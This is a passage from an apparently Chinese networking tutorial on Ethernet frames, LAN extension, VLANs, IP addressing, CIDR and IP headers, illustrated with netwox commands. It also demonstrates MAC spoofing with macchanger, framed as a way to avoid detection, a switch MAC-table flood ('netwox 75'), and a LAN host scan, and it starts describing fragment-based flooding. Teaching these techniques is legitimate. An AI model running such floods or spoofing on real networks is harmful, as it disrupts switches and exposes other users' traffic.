(3)把数据帧传递给对应于OSI模型物理层的底层组件,后者把帧转换为比特流,并且通过传输介质发送出去。

(4)以太网上的其他网络适配器接收到这个帧,检查其中的目的地址。如果目的地址与网络适配器的地址相匹配,适配器软件就会处理接收到的帧,把数据传递给协议栈中较高的层。

2. 以太帧结构

以太帧起始部分由前同步码和帧开始定界符组成。后面紧跟着一个以太网报头,以MAC地址说明目的地址和源地址。帧的中部是该帧负载的包含其他协议报头的数据包,如IP协议。以太帧由一个32位冗余校验码结尾,用于检验数据传输是否出现损坏。

以太帧结构如图所示:

每个字段含义如下:

  • 前同步码:用来使接收端的适配器在接收MAC帧时能够迅速调整时钟频率,使它和发送端的频率相同。前同步码为7个字节,1和0交替。
  • 帧开始定界符:帧的起始符,为1个字节。前6位1和0交替,最后的两个连续的1表示告诉接收端适配器:“帧信息要来了,准备接收”。
  • 目的地址:接收帧的网络适配器的物理地址(MAC地址),为6个字节(48比特)。作用是当网卡接收到一个数据帧时,首先会检查该帧的目的地址,是否与当前适配器的物理地址相同,如果相同,就会进一步处理;如果不同,则直接丢弃。
  • 源地址:发送帧的网络适配器的物理地址(MAC地址),为6个字节(48比特)。
  • 类型:上层协议的类型。由于上层协议众多,所以在处理数据的时候必须设置该字段,标识数据交付哪个协议处理。例如,字段为0x0800时,表示将数据交付给IP协议。
  • 数据:也称为效载荷,表示交付给上层的数据。以太网帧数据长度最小为46字节,最大为1500字节。如果不足46字节时,会填充到最小长度。最大值也叫最大传输单元(MTU)。在Linux中,使用ifconfig命令可以查看该值,通常为1500。
  • 帧检验序列FCS:检测该帧是否出现差错,占4个字节(32比特)。发送方计算帧的循环冗余码校验(CRC)值,把这个值写到帧里。接收方计算机重新计算CRC,与FCS字段的值进行比较。如果两个值不相同,则表示传输过程中发生了数据丢失或改变。这时,就需要重新传输这一帧。

3. 构建以太帧

通过学习了解了以太帧的结构。用户可以根据需要设置以太帧的字段值,从而构建以太帧。

netwox工具中编号为32的模块提供了以太帧构建功能。

案例:构建以太网数据帧。

(1)查看以太网数据帧,执行命令如下:

root@daxueba:~# netwox 32

输出信息如下:

Ethernet________________________________________________________.
| 00:0C:29:CA:E4:66->00:08:09:0A:0B:0C type:0x0000 |
|____________________________________________________________|

上述输出信息中的00:0C:29:CA:E4:66为源MAC地址,是当前主机的MAC地址;00:08:09:0A:0B:0C为目标MAC地址,0x0000为以太网类型。

(2)构建以太帧,设置源MAC地址为00:0c:29:c4:8a:de,目标MAC地址为01:02:03:04:05:06,执行命令如下:

root@daxueba:~# netwox 32 -a 00:0c:29:c4:8a:de -b 01:02:03:04:05:06

输出信息如下:

Ethernet________________________________________________________.
| 00:0C:29:C4:8A:DE->01:02:03:04:05:06 type:0x0000 |
|_____________________________________________________________|

从输出信息可以看到,源MAC地址由原来的00:0C:29:CA:E4:66变为了00:0C:29:C4:8A:DE;目标MAC地址由原来的00:08:09:0A:0B:0C变为了01:02:03:04:05:06。

(3)为了验证构建的以太帧,通过Wireshark工具进行抓包。在链路层中可以看到伪造的源MAC地址和目标MAC地址,信息如下:

Ethernet II, Src: Vmware_c4:8a:de (00:0c:29:c4:8a:de), Dst: Woonsang_04:05:
06(01:02:03:04:05:06)

(4)为了不被其他主机发现,在构造数据包时,可以指定假的源MAC地址。但是,每构造一次只能发送一个数据包。如果需要发送多个数据包,就需要构造多次。为了方便,可以使用macchanger工具临时修改MAC地址,这样就不需要每次构造假的源MAC地址了。

例如,将当前主机的MAC地址修改为00:0c:29:aa:e0:28,执行命令如下:

Current MAC: 00:0c:29:ca:e4:66 (VMware, Inc.)
Permanent MAC: 00:0c:29:ca:e4:66 (VMware, Inc.)
New MAC: 00:0c:29:aa:e0:28 (VMware, Inc.)

以上输出信息表示当前主机原来的MAC地址为00:0c:29:ca:e4:66,修改后的MAC地址为00:0c:29:aa:e0:28。

(5)再次使用netwox工具进行发包,默认使用修改后的MAC地址作为源MAC地址,如下:

root@daxueba:~# netwox 32

输出信息如下:

Ethernet_________________________________________________
| 00:0C:29:AA:E0:28->00:08:09:0A:0B:0C type:0x0000 |
|_______________________________________________________ |

6、扩展局域网

1. 用集线器扩展局域网

优点:使原来属于不同碰撞域的局域网上的计算机能够进行跨碰撞域的通信。扩大了局域网覆盖的地理范围。

缺点:碰撞域增大了,但总的吞吐量并未提高。如果不同的碰撞域使用不同的数据率,那么就不能用集线器将它们互连起来。

2. 在数据链路层扩展局域网

在数据链路层扩展局域网是使用网桥。网桥工作在数据链路层,它根据 MAC 帧的目的地址对收到的帧进行转发。网桥具有过滤帧的功能。当网桥收到一个帧时,并不是向所有的接口转发此帧,而是先检查此帧的目的 MAC 地址,然后再确定将该帧转发到哪一个接口 。

在数据链路层扩展局域网是使用网桥。网桥工作在数据链路层,它根据 MAC 帧的目的地址对收到的帧进行转发。网桥具有过滤帧的功能。当网桥收到一个帧时,并不是向所有的接口转发此帧,而是先检查此帧的目的 MAC 地址,然后再确定将该帧转发到哪一个接口 。

3. 网桥的自学习算法

网桥收到一帧后先进行自学习,查找转发表中与收到帧的源地址有无相匹配的项目。如没有,就在转发表中增加一个项目(源地址、进入的接口和时间)。如有,则把原有的项目进行更新。

转发帧:查找转发表中与收到帧的目的地址有无相匹配的项目。如没有,则通过所有其他接口(但进入网桥的接口除外)进行转发。如有,则按转发表中给出的接口进行转发。若转发表中给出的接口就是该帧进入网桥的接口,则应丢弃这个帧(因为这时不需要经过网桥进行转发)。

4. 以太网交换机

以太网交换机的每个接口都直接与主机相连,并且一般都工作在全双工方式。交换机能同时连通许多对的接口,使每一对相互通信的主机都能像独占通信媒体那样,进行无碰撞地传输数据。 

以太网交换机由于使用了专用的交换结构芯片,其交换速率就较高。对于普通 10 Mb/s 的共享式以太网,若共有 N 个用户,则每个用户占有的平均带宽只有总带宽(10 Mb/s)的 N 分之一。

使用以太网交换机时,虽然在每个接口到主机的带宽还是 10 Mb/s,但由于一个用户在通信时是独占而不是和其他网络用户共享传输媒体的带宽,因此对于拥有 N 对接口的交换机的总容量为 N´10 Mb/s。这正是交换机的最大优点。

5. 虚拟局域网VLAN

虚拟局域网 VLAN 是由一些局域网网段构成的与物理位置无关的逻辑组。这些网段具有某些共同的需求。每一个 VLAN 的帧都有一个明确的标识符,指明发送这个帧的工作站是属于哪一个VLAN。

虚拟局域网其实只是局域网给用户提供的一种服务,而并不是一种新型局域网。

 

虚拟局域网协议允许在以太网的帧格式中插入一个 4 字节的标识符,称为 VLAN 标记(tag),用来指明发送该帧的工作站属于哪一个虚拟局域网。

7、以太帧洪水攻击

交换机为了方便数据传输,通常会存储每个端口所对应的MAC地址,形成一张表。当交换机收到计算机发来的以太帧时,就会查看帧中的源MAC地址,并查找存储的表。如果表中存在该MAC地址,就直接转发数据。如果没有,则将该MAC地址存入该表中。

当其他计算机向这个MAC地址发送数据时,可以快速决定向哪个端口发送数据。由于该表不可能是无穷大的,所以当达到一定数量时,将不会储存其他新的MAC地址。再有新的主机发来数据帧时,部分交换机将不再查找对应的端口,而是以广播的形式转发给所有的端口。

这样,就使其他主机可以接收到该数据帧了。

netwox工具提供编号为75的模块,用来实现以太帧洪水攻击功能。

它可以伪造大量的以太网数据包,填满交换机的存储表,使交换机失去正确的转发功能。

实施以太帧洪水攻击,执行命令如下:

root@daxueba:~# netwox 75

执行命令后没有任何输出信息,但是会发送大量的以太网数据包。

使用Wireshark工具进行抓包,如图所示。

图中捕获的数据包为以太帧洪水攻击产生的数据包。

六、网络层

1、网络层简介

网络层向上只提供简单灵活的、无连接的、尽最大努力交付的数据报服务。

2、IP地址

IP 地址就是给每个连接在因特网上的主机(或路由器)分配一个在全世界范围是唯一的 32 位的标识符。IP地址为互联网上的每一个网络和每一台主机分配一个逻辑地址,以此来屏蔽物理地址的差异。

1. 为什么不直接用MAC地址进行通信

由于全世界存在着各式各样的网络,它们使用不同的硬件地址。要使这些异构网络能够互相通信就必须进行非常复杂的硬件地址转换工作,因此几乎是不可能的事。

因为MAC地址不能跨路由接口运行;即使强行实现跨越,使用MAC地址传输数据也是非常麻烦的。这是由于内置在网卡里的固定MAC地址不能在地址空间上引入逻辑结构,使其无法具备真正的地址来表示国家、省、市、区、街道、路、号这类层次。因此,要进行数据传输,必须使用一种逻辑化、层次化的寻址方案对网络进行组织,这就是IP地址。

连接到因特网的主机都拥有统一的 IP 地址,它们之间的通信就像连接在同一个网络上那样简单方便,因为调用 ARP 来寻找某个路由器或主机的硬件地址都是由计算机软件自动进行的,对用户来说是看不见这种调用过程的。

网络中的每个计算机都有对应的IP地址。用户可以使用netwox工具探测目标主机。

显示目标主机的相关信息:

(1)探测局域网中所有主机的IP地址、主机名和MAC地址信息。

root@daxueba:~# netwox 3 -a 192.168.59.0/24

显示的所有主机信息如下;

IP address: 192.168.59.0
Hostname: localhost
Hostnames: localhost
Eth address: unresolved
IP address: 192.168.59.1 #主机IP地址
Hostname: localhost
Hostnames: localhost
Eth address: 00:50:56:C0:00:08 #MAC地址
IP address: 192.168.59.2 #主机IP地址
Hostname: localhost
Hostnames: localhost
Eth address: 00:50:56:EA:F3:A1 #MAC地址
… #省略其他信息
IP address: 192.168.59.131 #主机IP地址
Hostname: localhost
Hostnames: localhost
Eth address: 00:0C:29:CA:E4:66 #MAC地址
IP address: 192.168.59.132 #主机IP地址
Hostname: localhost
Hostnames: localhost
Eth address: 00:0C:29:C4:8A:DE #MAC地址
… #省略其他信息
IP address: 192.168.59.254 #主机IP地址
Hostname: localhost
Hostnames: localhost
Eth address: 00:50:56:F7:32:70 #MAC地址
IP address: 192.168.59.255 #主机IP地址
Hostname: localhost
Hostnames: localhost
Eth address: unresolved

以上输出信息依次显示了局域网中的所有主机信息,主机IP地址为192.168.59.0到192.168.59.255。如果主机存在,就在Eth address部分中显示对应的MAC地址,如果主机不存在,则显示为unresolved。

从输出信息中可以了解到,主机192.168.59.131存在,其MAC地址为00:0C:29:CA:E4:66。

(2)主机可以被用做服务器,探测域名为www.163.com 的所有主机的IP地址、主机名,以及MAC地址信息。

root@daxueba:~# netwox 3 -a www.163.com

输出信息如下:

IP address: 220.194.153.86
Hostname: unresolved
Hostnames: unresolved
Eth address: unresolved
IP address: 218.26.75.208 #IPv4地址
Hostname: 208.75.26.218.internet.sx.cn #主机名
Hostnames: 208.75.26.218.internet.sx.cn
Eth address: unresolved
IP address: 124.163.192.254 #IPv4地址
Hostname: 254.192.163.124.adsl-pool.sx.cn #主机名
Hostnames: 254.192.163.124.adsl-pool.sx.cn
Eth address: unresolved
IP address: 2408:80f1:201:1::7 #IPv6地址
Hostname: unresolved
Hostnames: unresolved
Eth address: 00:50:56:EA:F3:A1 #MAC地址
IP address: 2408:80f1:201:1::6 #IPv6地址
Hostname: unresolved
Hostnames: unresolved
Eth address: 00:50:56:EA:F3:A1 #MAC地址

以上输出信息显示了域名www.163.com 的主机所使用的IP地址、主机名,以及MAC地址信息。

2. IP地址构成

在网际层中,利用IP地址将数据传输到目的地。为了能够使数据正确地发送到目标主机上,网络上的IP地址必须有一定的规则来识别主机的位置。下面介绍IP地址的构成。

1)基本构成

为了便于寻址,了解目标主机的位置,每个IP地址包括两个标识码(ID),即网络ID和主机ID。同一个物理网络上的所有主机都使用同一个网络ID,网络上的一个主机(包括网络上的工作站、服务器和路由器等)有一个主机ID与其对应。

网络ID和主机ID含义如下:

  • ·网络ID:用于识别主机所在的网络,网络ID的位数直接决定了可以分配的网络数量。
  • ·主机ID:用于识别该网络中的主机,主机ID的位数则决定了网络中最大的主机数量。

每一类地址都由两个固定长度的字段组成,其中一个字段是网络号 net-id,它标志主机(或路由器)所连接到的网络,而另一个字段则是主机号 host-id,它标志该主机(或路由器)。

两级的 IP 地址可以记为:

IP 地址 ::= { <网络号>, <主机号>} 

2)基本分类

大型网络包含大量的主机,而小型网络包含少量的主机。根据用户需求不同,一个网络包含的主机数量也会不同。为了满足不同场景的需要,网络必须使用一种方式来判断IP地址中哪一部分是网络ID,哪一部分是主机ID。IP地址为32位地址,被分为4个8位段。

为了方便对IP地址的管理,将IP地址基本分为三大类,每类地址的分类与含义如下:

  • A类:前8位表示网络ID,后24位表示主机ID;该地址分配给政府机关单位使用。
  • B类:前16位表示网络ID,后16位表示主机ID;该地址分配给中等规模的企业使用。
  • C类:前24位表示网络ID,后8位表示主机ID;该地址分配给任何需要的人使用。

除了上述的A、B、C三类地址以外,还有两类隐藏地址,即D类地址和E类地址:

  • D类:不分网络ID和主机ID;该地址用于多播。
  • E类:不分网络ID和主机ID;该地址用于实验。

3)地址区分

IP地址被分类以后,如何判断一个IP地址是A类、B类还是C类地址呢?

为了更好地进行区分,将每类地址的开头部分设置为固定数值,如图所示。

从图中可以看出,每类IP地址都是以32位的二进制格式显示的,每类地址的区别如下:

  • A类:网络ID的第一位以0开始的地址;
  • B类:网络ID的第一位以10开始的地址;
  • C类:网络ID的第一位以110开始的地址;
  • D类:地址以1110开始的地址;
  • E类:地址以11110开始的地址;

4)地址范围

由于每类地址的开头是固定的,因此每类地址都有自己的范围:

  • A类:IP地址范围为0.0.0.0~127.255.255.255。
  • B类:IP地址范围为128.0.0.0~191.255.255.255。
  • C类:IP地址范围为192.0.0.0~223.255.255.255。
  • D类:IP地址范围为224.0.0.0~239.255.255.255。
  • E类:IP地址范围为240.0.0.0~255.255.255.254。

5)特殊IP地址

在进行IP地址分配时,有一些IP地址具有特殊含义,不会分配给互联网的主机。例如,保留了一些IP地址范围,用于私有网络,这些地址被称为私有地址。再如,保留一部分地址用于测试,被称为保留地址。A类、B类、C类地址的地址范围及含义如下:

(1)A类地址

  • 私有地址范围为10.0.0.0~10.255.255.255。
  • 保留地址范围为127.0.0.0~127.255.255.255.

(2)B类地址

  • 私有地址范围为172.16.0.0~172.31.255.255。
  • 保留地址为169.254.X.X。

(3)C类地址

  • 私有地址范围为192.168.0.0~192.168.255.255。 

3. 子网划分

数据在网络中进行传输是通过识别IP地址中的网络ID,从而将数据发送到正确的网络中。然后再根据主机ID将数据发送到目标主机上。

如果一个网络中包含了百万台主机,数据通过网关找到对应的网络后,很难快速地发送到目标主机上。为了能够在大型网络中实现更高效的数据传输,需要进行子网划分,将网络划分为更小的网络。

子网划分是将IP地址的主机ID部分划分为子网ID和主机ID。其中,子网ID用来寻找网络内的子网;主机ID用来寻找子网中的主机。子网掩码则是用来指明地址中多少位用于子网ID,保留多少位用于实际的主机ID。

IP地址的编址方法:

分类的 IP 地址:这是最基本的编址方法,在 1981 年就通过了相应的标准协议。

子网的划分:这是对最基本的编址方法的改进,其标准[RFC 950]在 1985 年通过。

构成超网:这是比较新的无分类编址方法。1993 年提出后很快就得到推广应用。

1)划分子网

划分子网:划分子网纯属一个单位内部的事情。单位对外仍然表现为没有划分子网的网络。从主机号借用若干个位作为子网号 subnet-id,而主机号 host-id 也就相应减少了若干个位。

IP地址 ::= {<网络号>, <子网号>, <主机号>} 

划分子网的基本思路:凡是从其他网络发送给本单位某个主机的 IP 数据报,仍然是根据 IP 数据报的目的网络号 net-id,先找到连接在本单位网络上的路由器。然后此路由器在收到 IP 数据报后,再按目的网络号 net-id 和子网号 subnet-id 找到目的子网。最后就将 IP 数据报直接交付目的主机。

当没有划分子网时,IP 地址是两级结构。划分子网后 IP 地址就变成了三级结构。划分子网只是把 IP 地址的主机号 host-id 这部分进行再划分,而不改变 IP 地址原来的网络号 net-id。

从一个 IP 数据报的首部并无法判断源主机或目的主机所连接的网络是否进行了子网划分,使用子网掩码(subnet mask)可以找出 IP 地址中的子网部分。

使用子网掩码的分组转发过程:在划分子网的情况下路由器转发分组的算法。

  1. 从收到的分组的首部提取目的 IP 地址 D。
  2. 先用各网络的子网掩码和 D 逐位相“与”,看是否和相应的网络地址匹配。若匹配,则将分组直接交付。否则就是间接交付,执行步骤3。
  3. 若路由表中有目的地址为 D 的特定主机路由,则将分组传送给指明的下一跳路由器;否则,执行步骤4。
  4. 对路由表中的每一行的子网掩码和 D 逐位相“与”,若其结果与该行的目的网络地址匹配,则将分组传送给该行指明的下一跳路由器;否则,执行步骤5。
  5. 若路由表中有一个默认路由,则将分组传送给路由表中所指明的默认路由器;否则,执行步骤6。
  6. 报告转发分组出错。

2)无分类的编址CIDR

将IP地址分为A类、B类、C类后,会造成IP地址的部分浪费。例如,一些连续的IP地址,一部分属于A类地址,另一部分属于B类地址。

为了使这些地址聚合以方便管理,出现了CIDR(无类域间路由)。

CIDR 消除了传统的 A 类、B 类和 C 类地址以及划分子网的概念,而是使用CIDR前缀的值指定地址中作为网络ID的位数,因而可以更加有效地分配 IPv4 的地址空间。

CIDR使用各种长度的“网络前缀”(network-prefix)可以位于地址空间的任何位置,让管理者能够以更灵活的方式定义子网,以简便的形式指定地址中网络ID部分和主机ID部分。

IP 地址从三级编址(使用子网掩码)又回到了两级编址:

IP地址 ::= {<网络前缀>, <主机号>} 

CIDR 还使用“斜线记法”(slash notation),它又称为CIDR记法,即在 IP 地址面加上一个斜线“/”,然后写上网络前缀所占的位数(这个数值对应于三级编址中子网掩码中 1 的个数)。

CIDR 把网络前缀都相同的连续的IP 地址组成“CIDR 地址块”,例如,205.123.196.183/25中的25表示地址中25位用于网络ID,相应的掩码为255.255.255.128。

案例1:128.14.32.0/20 

表示的地址块共有 212 个地址(因为斜线后面的 20 是网络前缀的位数,所以这个地址的主机号是 12 位),这个地址块的起始地址是 128.14.32.0。

在不需要指出地址块的起始地址时,也可将这样的地址块简称为“/20 地址块”。

128.14.32.0/20 地址块的最小地址:128.14.32.0。

128.14.32.0/20 地址块的最大地址:128.14.47.255。

全 0 和全 1 的主机号地址一般不使用。

案例2:已知CIDR格式地址为192.168.1.32/27,计算该地址的掩码,并显示包含了多少台主机。

列出包含的所有主机:

root@daxueba:~# netwox 213 -i 192.168.1.32/27

输出信息如下:

192.168.1.32
192.168.1.33
192.168.1.34
192.168.1.35
192.168.1.36
192.168.1.37
192.168.1.38
…          #省略其他信息
192.168.1.57
192.168.1.58
192.168.1.59
192.168.1.60
192.168.1.61
192.168.1.62
192.168.1.63

上述输出信息显示该CIDR地址中包含了32台主机,IP地址为192.168.1.32~192.168.1.63。

计算IP地址192.168.1.32/27的掩码:

root@daxueba:~# netwox 24 -i 192.168.1.32/27

输出信息如下:

192.168.1.32-192.168.1.63 #IP地址范围
192.168.1.32/27 #IP地址段
192.168.1.32/255.255.255.224 #掩码
localhost=localhost #主机名

上述输出信息显示掩码为255.255.255.224。

3)构造超网 

前缀长度不超过 23 位的 CIDR 地址块都包含了多个 C 类地址。这些 C 类地址合起来就构成了超网。CIDR地址块中的地址数一定是 2 的整数次幂,网络前缀越短,其地址块所包含的地址数就越多。而在三级结构的IP地址中,划分子网是使网络前缀变长。

使用 CIDR 时,路由表中的每个项目由“网络前缀”和“下一跳地址”组成。在查找路由表时可能会得到不止一个匹配结果。应当从匹配结果中选择具有最长网络前缀的路由:最长前缀匹配(longest-prefix matching)。

网络前缀越长,其地址块就越小,因而路由就越具体(more specific) 。最长前缀匹配又称为最长匹配或最佳匹配。

3、网际协议IP

IP协议提供了一种分层的、与硬件无关的寻址系统,它可以在复杂的路由式网络中传递数据所需的服务。IP协议可以将多个交换网络连接起来,在源地址和目的地址之间传送数据包。同时,它还提供数据重新组装功能,以适应不同网络对数据包大小的要求。

网际协议 IP 是 TCP/IP 体系中两个最主要的协议之一,与 IP 协议配套使用的还有三个协议:

  • 地址解析协议 ARP(Address Resolution Protocol);
  • 网际控制报文协议 ICMP (Internet Control Message Protocol);
  • 网际组管理协议 IGMP (Internet Group Management Protocol);

 

连接网络所使用的中间设备:

  • 物理层中继系统:转发器(repeater)。
  • 数据链路层中继系统:网桥或桥接器(bridge)。
  • 网络层中继系统:路由器(router)。
  • 网桥和路由器的混合物:桥路器(brouter)。
  • 网络层以上的中继系统:网关(gateway)。

1. IP协议工作方式

在一个路由式网络中,源地址主机向目标地址主机发送数据时,IP协议是如何将数据成功发送到目标主机上的呢?由于网络分同网段和不同网段两种情况,工作方式如下:

1)同网段

如果源地址主机和目标地址主机在同一网段,目标IP地址被ARP协议解析为MAC地址,然后根据MAC地址,源主机直接把数据包发给目标主机。

2)不同网段

如果源地址主机和目标地址主机在不同网段,数据包发送过程如下:

(1)网关(一般为路由器)的IP地址被ARP协议解析为MAC地址。根据该MAC地址,源主机将数据包发送到网关。

(2)网关根据数据包中的网段ID寻找目标网络。如果找到,将数据包发送到目标网段;如果没找到,重复步骤(1)将数据包发送到上一级网关。

(3)数据包经过网关被发送到正确的网段中。目标IP地址被ARP协议解析为MAC地址。根据该MAC地址,数据包被发送给目标地址的主机。

2. IP数据报

在TCP/IP协议中,使用IP协议传输数据的包被称为IP数据包。每个数据包都包含IP协议规定的内容,IP协议规定的这些内容被称为IP数据报文(IP Datagram)或者IP数据报。

IP数据报文由首部和数据两部分组成。首部的前一部分是固定长度,共20字节,是所有IP数据报必须具有的。在首部的固定部分的后面是一些可选字段,其长度是可变的。

每个IP数据报都以一个IP报头开始。源计算机构造这个IP报头,而目的计算机利用IP报头中封装的信息处理数据。IP报头中包含大量的信息,如源IP地址、目的IP地址、数据报长度、IP版本号等。每个信息都被称为一个字段。

IP数据报头字段如图所示:

IP报头的最小长度为20字节,图3.2中每个字段的含义如下:

  • 版本(version):占4位,表示IP协议的版本。通信双方使用的IP协议版本必须一致。目前广泛使用的IP协议版本号为4,即IPv4。
  • 首部长度(网际报头长度IHL):占4位,可表示的最大十进制数值是15。这个字段所表示数的单位是32位字长(1个32位字长是4字节)。

因此,当IP的首部长度为1111时(即十进制的15),首部长度就达到60字节。当IP分组的首部长度不是4字节的整数倍时,必须利用最后的填充字段加以填充。数据部分永远在4字节的整数倍开始,这样在实现IP协议时较为方便。

首部长度限制为60字节的缺点是,长度有时可能不够用,之所以限制长度为60字节,是希望用户尽量减少开销。最常用的首部长度就是20字节(即首部长度为0101),这时不使用任何选项。

  • 区分服务(tos):也被称为服务类型,占8位,用来获得更好的服务。这个字段在旧标准中叫做服务类型,但实际上一直没有被使用过。1998年IETF把这个字段改名为区分服务(Differentiated Services,DS)。只有在使用区分服务时,这个字段才起作用。
  • 总长度(totlen):首部和数据之和,单位为字节。总长度字段为16位,因此数据报的最大长度为2^16-1=65535字节。
  • 标识(identification):用来标识数据报,占16位。IP协议在存储器中维持一个计数器。每产生一个数据报,计数器就加1,并将此值赋给标识字段。当数据报的长度超过网络的MTU,而必须分片时,这个标识字段的值就被复制到所有的数据报的标识字段中。具有相同的标识字段值的分片报文会被重组成原来的数据报。
  • 标志(flag):占3位。第一位未使用,其值为0。第二位称为DF(不分片),表示是否允许分片。取值为0时,表示允许分片;取值为1时,表示不允许分片。第三位称为MF(更多分片),表示是否还有分片正在传输,设置为0时,表示没有更多分片需要发送,或数据报没有分片。
  • 片偏移(offsetfrag):占13位。当报文被分片后,该字段标记该分片在原报文中的相对位置。片偏移以8个字节为偏移单位。所以,除了最后一个分片,其他分片的偏移值都是8字节(64位)的整数倍。
  • 生存时间(TTL):表示数据报在网络中的寿命,占8位。该字段由发出数据报的源主机设置。其目的是防止无法交付的数据报无限制地在网络中传输,从而消耗网络资源。路由器在转发数据报之前,先把TTL值减1。若TTL值减少到0,则丢弃这个数据报,不再转发。因此,TTL指明数据报在网络中最多可经过多少个路由器。TTL的最大数值为255。若把TTL的初始值设为1,则表示这个数据报只能在本局域网中传送。
  • 协议:表示该数据报文所携带的数据所使用的协议类型,占8位。该字段可以方便目的主机的IP层知道按照什么协议来处理数据部分。不同的协议有专门不同的协议号。例如,TCP的协议号为6,UDP的协议号为17,ICMP的协议号为1。
  • 首部检验和(checksum):用于校验数据报的首部,占16位。数据报每经过一个路由器,首部的字段都可能发生变化(如TTL),所以需要重新校验。而数据部分不发生变化,所以不用重新生成校验值。
  • 源地址:表示数据报的源IP地址,占32位。
  • 目的地址:表示数据报的目的IP地址,占32位。该字段用于校验发送是否正确。
  • 可选字段:该字段用于一些可选的报头设置,主要用于测试、调试和安全的目的。这些选项包括严格源路由(数据报必须经过指定的路由)、网际时间戳(经过每个路由器时的时间戳记录)和安全限制。
  • 填充:由于可选字段中的长度不是固定的,使用若干个0填充该字段,可以保证整个报头的长度是32位的整数倍。
  • 数据部分:表示传输层的数据,如保存TCP、UDP、ICMP或IGMP的数据。数据部分的长度不固定。

3. IP分组转发的流程

需要注意的问题:IP 数据报的首部中没有地方可以用来指明“下一跳路由器的 IP 地址”。当路由器收到待转发的数据报,不是将下一跳路由器的 IP 地址填入 IP 数据报,而是送交下层的网络接口软件。网络接口软件使用 ARP 负责将下一跳路由器的 IP 地址转换成硬件地址,并将此硬件地址放在链路层的 MAC 帧的首部,然后根据这个硬件地址找到下一跳路由器。

分组转发算法 :

  1. 从数据报的首部提取目的主机的 IP 地址 D, 得出目的网络地址为 N。
  2. 若网络 N 与此路由器直接相连,则把数据报直接交付目的主机 D;否则是间接交付,执行步骤3。
  3. 若路由表中有目的地址为 D 的特定主机路由,则把数据报传送给路由表中所指明的下一跳路由器;否则,执行步骤4。
  4. 若路由表中有到达网络 N 的路由,则把数据报传送给路由表指明的下一跳路由器;否则,执行步骤5。
  5. 若路由表中有一个默认路由,则把数据报传送给路由表中所指明的默认路由器;否则,执行步骤6。
  6. 报告转发分组出错。

4. 构造IP数据包

为了更好地掌握IP协议,下面使用netwox工具提供的模块来构建各种IP数据包。

netwox工具提供编号为38的模块,用来构造IP数据包。用户不仅可以设置源IP地址和目标IP地址,还可以设置TTL、数据分片等字段。

构造IP数据包:

(1)不指定选项,直接运行该模块。执行命令如下:

root@daxueba:~# netwox 38

输出信息如下:

IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x0014=20___________|
| id |r|D|M| offsetfra |
|_________0x87D6=34774__________|0|0|0|________0x0000=0_________|
| ttl | protocol | checksum |
|____0x00=0_____|____0x00=0_____|____________0x2ADB_____________|
| source |
|________________________192.168.59.131_________________________|
| destination |
|____________________________5.6.7.8____________________________|

在输出信息中,第一行IP表示当前数据包是基于IP协议的。包中的字段值均为默认值。例如,源IP地址为192.168.59.131,目的IP地址为5.6.7.8。

(2)指定源IP地址为192.168.59.132,目标IP地址为192.168.12.101。执行命令如下:

root@daxueba:~# netwox 38 -l 192.168.59.132 -m 192.168.12.101

输出信息如下:

IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____ |___________0x0014=20___________ |
| id |r|D|M| offsetfrag |
|__________0x1B26=6950__________ |0|0|0|________0x0000=0_________ |
| ttl | protocol | checksum |
|____0x00=0_____|____0x00=0_____ |____________0xD68A_____________ |
| source |
|________________________192.168.59.132_________________________ |
| destination |
|________________________192.168.12.101_________________________ |

从上述输出信息中可看出,源IP地址由原来的192.168.59.131变为了192.168.59.132,目的IP地址由原来的5.6.7.8变为了192.168.12.101。

(3)通过抓包,验证构造的IP数据包。捕获到的数据包如图3.3所示。其中,第2个数据包为构造的数据包。源IP地址为192.168.59.132,目标IP地址为192.168.12.101,协议为IPv4。

5. 基于Ethernet层构造IP数据包

netwox工具提供编号为34的模块,用于指定IP数据报的以太层字段信息。

指定IP数据报的以太层字段信息。

(1)不指定选项,直接运行该模块,查看默认设置。

执行命令如下:

root@daxueba:~# netwox 34

输出信息如下:

Ethernet________________________________________________________.
| 00:0C:29:CA:E4:66->00:08:09:0A:0B:0C type:0x0800 |
|_______________________________________________________________|
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x0014=20__________ |
| id |r|D|M| offsetfrag |
|_________0xE1C2=57794________ |0|0|0|________0x0000=0_________|
| ttl | protocol | checksum |
|____0x00=0_____|____0x00=0_____|____________0xD0EE_____________|
| source |
|________________________192.168.59.131_________________________|
| destination |
|____________________________5.6.7.8____________________________|

在输出信息中,第一行Ethernet表示当前数据包的以太网层字段信息。这些字段值均为默认值。例如,当前以太网的源MAC地址为00:0C:29:CA:E4:66,目标MAC地址为00:08:09:0A:0B:0C。

(2)指定以太网的源MAC地址和目标MAC地址。设置源MAC地址为00:0C:29:C4:8A:DE,目标MAC地址为00:0C:29:D0:21:23,目标IP地址为192.168.59.156。

执行命令如下:

root@daxueba:~# netwox 34 -a 00:0C:29:C4:8A:DE -b 00:0C:29:D0:21:23

输出信息如下:

Ethernet________________________________________________________.
| 00:0C:29:C4:8A:DE->00:0C:29:D0:21:23 type:0x0800 |
|_______________________________________________________________ |
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x0014=20___________ |
| id |r|D|M| offsetfrag |
|_________0x6983=27011__________|0|0|0|________0x0000=0_________ |
| ttl | protocol | checksum |
|____0x00=0_____|____0x00=0_____|____________0x492E_____________ |
| source |
|____________________________192.168.59.131_________________________ |
| destination |
|____________________________192.168.59.156__________________________|

从输出信息可以看到,以太网的MAC地址由原来的00:0C:29:CA:E4:66变为了00:0C:29:C4:8A:DE,目标MAC地址由原来的00:08:09:0A:0B:0C变为了00:0C:29:D0:21:23。

(3)验证构造的数据包,使用Wireshark工具捕获数据包,如图所示。

其中,第2个数据包为构造的IPv4数据包。在Ethernet II部分中,源MAC地址为指定的00:0C:29:c4:8a:de,目标MAC地址为指定的00:0c:29:d0:21:23。

6. 利用分片实施洪水攻击

IP协议在传输数据包时,经常会进行分片传输。例如,当一个设备准备传输一个IP数据包时,它将首先获取这个数据包的大小,然后获取发送数据包所使用的网络接口的最大传输单元值(MTU)。如果数据包的大小大于MTU,则该数据包将被分片。

将一个数据包分片包括下面几步:

  1. 设备将数据包分为若干个可成功进行传输的数据包。
  2. 每个IP数据包的首部的总长度域会被设置为每个分片的片段长度。
  3. 更多分片标志将会在数据流的所有数据包中设置为1,除了最后一个数据包。
  4. IP数据包头中分片部分的分片偏移将会被设置。
  5. 数据包被发送出去。

